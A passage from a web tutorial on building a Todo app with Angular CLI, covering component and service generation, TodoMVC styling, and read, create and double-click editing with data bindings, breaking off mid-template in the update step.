<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">CREATE src&#x2F;app&#x2F;todo&#x2F;todo.component.scss (0 bytes)</span><br><span class="line">CREATE src&#x2F;app&#x2F;todo&#x2F;todo.component.html (19 bytes)</span><br><span class="line">CREATE src&#x2F;app&#x2F;todo&#x2F;todo.component.spec.ts (614 bytes)</span><br><span class="line">CREATE src&#x2F;app&#x2F;todo&#x2F;todo.component.ts (262 bytes)</span><br></pre></td></tr></table></figure>

<p>And it will add the new Todo component to the <code>AppModule</code>:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UPDATE src&#x2F;app&#x2F;app.module.ts (467 bytes)</span><br></pre></td></tr></table></figure>

<p>Go ahead and inspect each one. It will look similar to the app components.
Let ‘s add our new component to the App component.</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/27b354e">[changes diff]</a></p>
<p>Go to <code>src/app/app.component.html</code>, and replace everything with:</p>
<figure class="highlight html"><figcaption><span>src/app/app.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">app-todo</span>&gt;</span><span class="tag">&lt;/<span class="name">app-todo</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>If you have <code>ng serve</code> running, it should automatically update and show <code>todo works!</code></p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/64e8060">[changes diff]</a></p>
<h2 id="Todo-Template"><a href="#Todo-Template" class="headerlink" title="Todo Template"></a>Todo Template</h2><p>“todo works!” is not useful. Let’s change that by adding some HTML code to represent our todo tasks. Go to the <code>src/app/todo/todo.component.html</code> file and copy-paste this HTML code:</p>
<figure class="highlight html"><figcaption><span>TodoTemplate src/app/todo/todo.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">section</span> <span class="attr">class</span>=<span class="string">&quot;todoapp&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="tag">&lt;<span class="name">header</span> <span class="attr">class</span>=<span class="string">&quot;header&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>Todo<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;new-todo&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;What needs to be done?&quot;</span> <span class="attr">autofocus</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">header</span>&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">&lt;!-- This section should be hidden by default and shown when there are todos --&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">section</span> <span class="attr">class</span>=<span class="string">&quot;main&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">ul</span> <span class="attr">class</span>=<span class="string">&quot;todo-list&quot;</span>&gt;</span></span><br><span class="line">      <span class="comment">&lt;!-- These are here just to show the structure of the list items --&gt;</span></span><br><span class="line">      <span class="comment">&lt;!-- List items should get the class `editing` when editing and `completed` when marked as completed --&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">&quot;completed&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;view&quot;</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;toggle&quot;</span> <span class="attr">type</span>=<span class="string">&quot;checkbox&quot;</span> <span class="attr">checked</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;<span class="name">label</span>&gt;</span>Install angular-cli<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;destroy&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;edit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;Create a TodoMVC template&quot;</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;view&quot;</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;toggle&quot;</span> <span class="attr">type</span>=<span class="string">&quot;checkbox&quot;</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;<span class="name">label</span>&gt;</span>Understand Angular2 apps<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;destroy&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;edit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;Rule the web&quot;</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">section</span>&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">&lt;!-- This footer should hidden by default and shown when there are todos --&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">footer</span> <span class="attr">class</span>=<span class="string">&quot;footer&quot;</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- This should be `0 items left` by default --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">span</span> <span class="attr">class</span>=<span class="string">&quot;todo-count&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">strong</span>&gt;</span>0<span class="tag">&lt;/<span class="name">strong</span>&gt;</span> item left<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- Remove this if you don&#x27;t implement routing --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">ul</span> <span class="attr">class</span>=<span class="string">&quot;filters&quot;</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;selected&quot;</span> <span class="attr">href</span>=<span class="string">&quot;#/&quot;</span>&gt;</span>All<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;#/active&quot;</span>&gt;</span>Active<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;#/completed&quot;</span>&gt;</span>Completed<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- Hidden if no completed items are left ↓ --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;clear-completed&quot;</span>&gt;</span>Clear completed<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">footer</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">section</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>The above HTML code has the general structure about how we want to represent our tasks. Right now it has hard-coded todo’s. We are going to slowly turn it into a dynamic app using Angular data bindings.</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/c0ddc65">[changes diff]</a></p>
<p>Next, let’s add some styling!</p>
<h2 id="Styling-the-todo-app"><a href="#Styling-the-todo-app" class="headerlink" title="Styling the todo app"></a>Styling the todo app</h2><p>We are going to use a community maintained CSS for Todo apps. We can go ahead and download the CSS:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install --save todomvc-app-css</span><br></pre></td></tr></table></figure>

<p>This will install a CSS file that we can use to style our Todo app and make it look nice. In the next section, we are going to explain how to use it with the <code>angular-cli.json</code>.</p>
<h2 id="Adding-global-styles-to-angular-json"><a href="#Adding-global-styles-to-angular-json" class="headerlink" title="Adding global styles to angular.json"></a>Adding global styles to angular.json</h2><p><code>angular.json</code> is a special file that tells the Angular CLI how to build your application. You can define how to name your root folder, tests and much more. What we care right now, is telling the angular CLI to use our new CSS file from the node modules. You can do it by adding the following line into the <code>styles</code> array:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;architect&quot;</span>: &#123;</span><br><span class="line">  <span class="string">&quot;build&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;options&quot;</span>: &#123;</span><br><span class="line">      <span class="string">&quot;styles&quot;</span>: [</span><br><span class="line">        <span class="string">&quot;src/styles.scss&quot;</span>,</span><br><span class="line marked">        <span class="string">&quot;node_modules/todomvc-app-css/index.css&quot;</span></span><br><span class="line">      ],</span><br><span class="line">      <span class="string">&quot;scripts&quot;</span>: []</span><br></pre></td></tr></table></figure>

<p>If you stop and start <code>ng serve</code>, then you will notice the changes.</p>
<img src="/images/angular2-todo-app-preview.png" class="" title="Angular Todo App">

<p>We have the skeleton so far. Now we are going to make it dynamic and allow users to add/remove/update/sort tasks. We are going to do two versions one serverless and another one using a Node.js/Express server. We are going to be using promises all the time, so when we use a real API, the service is the only one that has to change.</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/d3106d7">[changes diff]</a></p>
<h2 id="Todo-Service"><a href="#Todo-Service" class="headerlink" title="Todo Service"></a>Todo Service</h2><p>Let’s first start by creating a service that contains an initial list of tasks that we want to manage. We are going to use a <code>service</code> to manipulate the data. Let’s create the service with the CLI by typing:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ng g service todo/todo</span><br></pre></td></tr></table></figure>

<p>This will create two files:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">CREATE src&#x2F;app&#x2F;todo&#x2F;todo.service.spec.ts (323 bytes)</span><br><span class="line">CREATE src&#x2F;app&#x2F;todo&#x2F;todo.service.ts (133 bytes)</span><br></pre></td></tr></table></figure>

<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/9e5d935">[changes diff]</a></p>
<h2 id="CRUD-Functionality"><a href="#CRUD-Functionality" class="headerlink" title="CRUD Functionality"></a>CRUD Functionality</h2><p>For enabling the create-read-update-delete functionality, we are going to be modifying three files:</p>
<ul>
<li>src/app/todo/todo.<strong>service</strong>.ts</li>
<li>src/app/todo/todo.<strong>component</strong>.ts</li>
<li>src/app/todo/todo.component.<strong>html</strong></li>
</ul>
<p>Let’s get started!</p>
<h3 id="READ-Get-all-tasks"><a href="#READ-Get-all-tasks" class="headerlink" title="READ: Get all tasks"></a>READ: Get all tasks</h3><p>Let’s modify the <code>todo.service</code> to be able to get tasks:</p>
<figure class="highlight js"><figcaption><span>TodoService src/app/todo/todo.service.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; Injectable &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/core&#x27;</span>;</span><br><span class="line"></span><br><span class="line marked"><span class="keyword">const</span> TODOS = [</span><br><span class="line marked">  &#123; <span class="attr">title</span>: <span class="string">&#x27;Install Angular CLI&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">true</span> &#125;,</span><br><span class="line marked">  &#123; <span class="attr">title</span>: <span class="string">&#x27;Style app&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">true</span> &#125;,</span><br><span class="line marked">  &#123; <span class="attr">title</span>: <span class="string">&#x27;Finish service functionality&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line marked">  &#123; <span class="attr">title</span>: <span class="string">&#x27;Setup API&#x27;</span>, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;,</span><br><span class="line marked">];</span><br><span class="line"></span><br><span class="line">@Injectable(&#123;</span><br><span class="line">  providedIn: <span class="string">&#x27;root&#x27;</span></span><br><span class="line">&#125;)</span><br><span class="line"><span class="keyword">export</span> <span class="class"><span class="keyword">class</span> <span class="title">TodoService</span> </span>&#123;</span><br><span class="line"></span><br><span class="line marked">  <span class="keyword">constructor</span>() &#123; &#125;</span><br><span class="line marked"></span><br><span class="line marked">  get() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="params">resolve</span> =&gt;</span> resolve(TODOS));</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Now we need to change our todo component to use the service that we created.</p>
<figure class="highlight js"><figcaption><span>TodoComponent src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; Component, OnInit &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/core&#x27;</span>;</span><br><span class="line"><span class="keyword">import</span> &#123; TodoService &#125; <span class="keyword">from</span> <span class="string">&#x27;./todo.service&#x27;</span>;</span><br><span class="line marked"></span><br><span class="line">@Component(&#123;</span><br><span class="line">  selector: <span class="string">&#x27;app-todo&#x27;</span>,</span><br><span class="line">  templateUrl: <span class="string">&#x27;./todo.component.html&#x27;</span>,</span><br><span class="line">  styleUrls: [<span class="string">&#x27;./todo.component.scss&#x27;</span>],</span><br><span class="line marked">  providers: [TodoService]</span><br><span class="line marked">&#125;)</span><br><span class="line"><span class="keyword">export</span> <span class="class"><span class="keyword">class</span> <span class="title">TodoComponent</span> <span class="title">implements</span> <span class="title">OnInit</span> </span>&#123;</span><br><span class="line">  private todos;</span><br><span class="line marked">  private activeTasks;</span><br><span class="line marked"></span><br><span class="line marked">  <span class="keyword">constructor</span>(private todoService: TodoService) &#123; &#125;</span><br><span class="line marked"></span><br><span class="line marked">  getTodos()&#123;</span><br><span class="line marked">    <span class="keyword">return</span> <span class="built_in">this</span>.todoService.get().then(<span class="function"><span class="params">todos</span> =&gt;</span> &#123;</span><br><span class="line marked">      <span class="built_in">this</span>.todos = todos;</span><br><span class="line marked">      <span class="built_in">this</span>.activeTasks = <span class="built_in">this</span>.todos.filter(<span class="function"><span class="params">todo</span> =&gt;</span> !todo.isDone).length;</span><br><span class="line marked">    &#125;);</span><br><span class="line marked">  &#125;</span><br><span class="line marked"></span><br><span class="line">  ngOnInit() &#123;</span><br><span class="line">    <span class="built_in">this</span>.getTodos();</span><br><span class="line marked">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


<p>The first change is importing our <code>TodoService</code> and adding it to the providers. Then we use the constructor of the component to load the <code>TodoService</code>. While we inject the service, we can hold a private instance of it in the variable <code>todoService</code>. Finally, we use it in the <code>getTodos</code> method. This will make a variable <code>todos</code> available in the template where we can render the tasks.</p>
<p>Let’s change the template so we can render the data from the service. Go to the <code>todo.component.html</code> and change, from line 11, what is inside the <code>&lt;ul class=&quot;todo-list&quot;&gt; ... &lt;/ul&gt;</code> for this one:</p>
<figure class="highlight html"><figcaption><span>TodoTemplate src/app/todo/todo.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">ul</span> <span class="attr">class</span>=<span class="string">&quot;todo-list&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">li</span> *<span class="attr">ngFor</span>=<span class="string">&quot;let todo of todos&quot;</span> [<span class="attr">ngClass</span>]=<span class="string">&quot;&#123;completed: todo.isDone&#125;&quot;</span> &gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;view&quot;</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;toggle&quot;</span> <span class="attr">type</span>=<span class="string">&quot;checkbox&quot;</span> [<span class="attr">checked</span>]=<span class="string">&quot;todo.isDone&quot;</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">label</span>&gt;</span>&#123;&#123;todo.title&#125;&#125;<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;destroy&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;edit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;&#123;&#123;todo.title&#125;&#125;&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>Also change the line 27 in the template from:</p>
<figure class="highlight html"><figcaption><span>(partial) src/app/todo/todo.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">span</span> <span class="attr">class</span>=<span class="string">&quot;todo-count&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">strong</span>&gt;</span>0<span class="tag">&lt;/<span class="name">strong</span>&gt;</span> item left<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>replace it with:</p>
<figure class="highlight html"><figcaption><span>(partial) src/app/todo/todo.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">span</span> <span class="attr">class</span>=<span class="string">&quot;todo-count&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">strong</span>&gt;</span>&#123;&#123;activeTasks&#125;&#125;<span class="tag">&lt;/<span class="name">strong</span>&gt;</span> item left<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>When your browser updates you should have something like this:</p>
<img src="/images/angular2-todo-app-service.png" class="" title="Todo app rendering tasks from service">

<p>Now, let’s go over what we just did. We can see that we added new data-binding into the template:</p>
<ul>
<li><code>*ngFor</code>: iterates through the <code>todos</code> array that we defined in the component and assigned in the <code>let todo</code> part.</li>
<li><code>[ngClass]</code>: applies a class when the expression evaluates to true. In our case, it uses class <code>completed</code> when <code>isDone</code> is true.</li>
<li><code>[checked]</code>: applies the <code>checked</code> attribute when the expression evaluates to true (<code>todo.isDone</code>).</li>
<li><code>&lbrace;&lbrace;todo.title&rbrace;&rbrace;</code>: Render the todo title. The same happened with <code>&lbrace;&lbrace;activeTasks&rbrace;&rbrace;</code>.</li>
</ul>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/83c0c17">[changes diff]</a></p>
<h3 id="CREATE-using-the-input-form"><a href="#CREATE-using-the-input-form" class="headerlink" title="CREATE: using the input form"></a>CREATE: using the input form</h3><p>Let’s start with the template this time. We have an input element for creating new tasks. Let’s listen to changes in the input form and when we click enter it creates the TODO.</p>
<figure class="highlight html"><figcaption><span>Line 5 src/app/todo/todo.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;new-todo&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">placeholder</span>=<span class="string">&quot;What needs to be done?&quot;</span></span></span><br><span class="line"><span class="tag">       [(<span class="attr">ngModel</span>)]=<span class="string">&quot;newTodo&quot;</span></span></span><br><span class="line"><span class="tag">       (<span class="attr">keyup.enter</span>)=<span class="string">&quot;addTodo()&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">autofocus</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>Notice that we are using a new variable called <code>newTodo</code> and method called <code>addTodo()</code>. Let’s go to the controller and give it some functionality:</p>
<figure class="highlight javascript"><figcaption><span>src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">private newTodo;</span><br><span class="line"></span><br><span class="line">addTodo()&#123;</span><br><span class="line">  <span class="built_in">this</span>.todoService.add(&#123; <span class="attr">title</span>: <span class="built_in">this</span>.newTodo, <span class="attr">isDone</span>: <span class="literal">false</span> &#125;).then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.getTodos();</span><br><span class="line">  &#125;).then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.newTodo = <span class="string">&#x27;&#x27;</span>; <span class="comment">// clear input form value</span></span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>First, we created a private variable that we are going to use to get values from the input form. Then we created a new <code>todo</code> using the todo service method <code>add</code>. It doesn’t exist yet, so we are going to create it next:</p>
<figure class="highlight javascript"><figcaption><span>src/app/todo/todo.service.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">add(data) &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="params">resolve</span> =&gt;</span> &#123;</span><br><span class="line">    TODOS.push(data);</span><br><span class="line">    resolve(data);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>The above code adds the new element into the <code>todos</code> array and resolves the promise. That’s all. Go ahead a test it out creating a new todo element.</p>
<p>You might get an error saying:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Can&#39;t bind to &#39;ngModel&#39; since it isn&#39;t a known property of &#39;input&#39;</span><br></pre></td></tr></table></figure>
<p>To use the two-way data binding you need to import <code>FormsModule</code> in the <code>app.module.ts</code>. So let’s do that.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; FormsModule &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/forms&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line">@NgModule(&#123;</span><br><span class="line">  imports: [</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">    FormsModule</span><br><span class="line">  ],</span><br><span class="line">  <span class="comment">// ...</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure>
<p>Now it should add new tasks to the list!</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/dd432b4">[changes diff]</a></p>
<h3 id="UPDATE-on-double-click"><a href="#UPDATE-on-double-click" class="headerlink" title="UPDATE: on double click"></a>UPDATE: on double click</h3><p>Let’s add an event listener to double-click on each todo. That way, we can change the content. Editing is tricky since we need to display an input form. Then when the user clicks enter it should update the value. Finally, it should hide the input and show the label with the updated value. Let’s do that by keeping a temp variable called <code>editing</code> which could be true or false.</p>
<p>Go to line 16, and change the content inside the <code>&lt;li&gt;...&lt;/li&gt;</code>:</p>
<figure class="highlight html"><figcaption><span>src/app/todo/todo.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">li</span> *<span class="attr">ngFor</span>=<span class="string">&quot;let todo of todos&quot;</span> [<span class="attr">ngClass</span>]=<span class="string">&quot;&#123;completed: todo.isDone, editing: todo.editing&#125;&quot;</span> &gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;view&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;toggle&quot;</span> <span class="attr">type</span>=<span class="string">&quot;checkbox&quot;</span> [<span class="attr">checked</span>]=<span class="string">&quot;todo.isDone&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">label</span> (<span class="attr">dblclick</span>)=<span class="string">&quot;todo.editing = true&quot;</span>&gt;</span>&#123;&#123;todo.title&#125;&#125;<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;destroy&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;edit&quot;</span></span></span><br><span class="line"><span class="tag">         #<span class="attr">updatedTodo</span></span></span><br><span class="line"><span class="tag">         [<span class="attr">value</span>]=<span class="string">&quot;todo.title&quot;</span></span></span><br><span class="line"><span class="tag">         (<span class="attr">blur</span>)=<span class="string">&quot;updateTodo(todo, 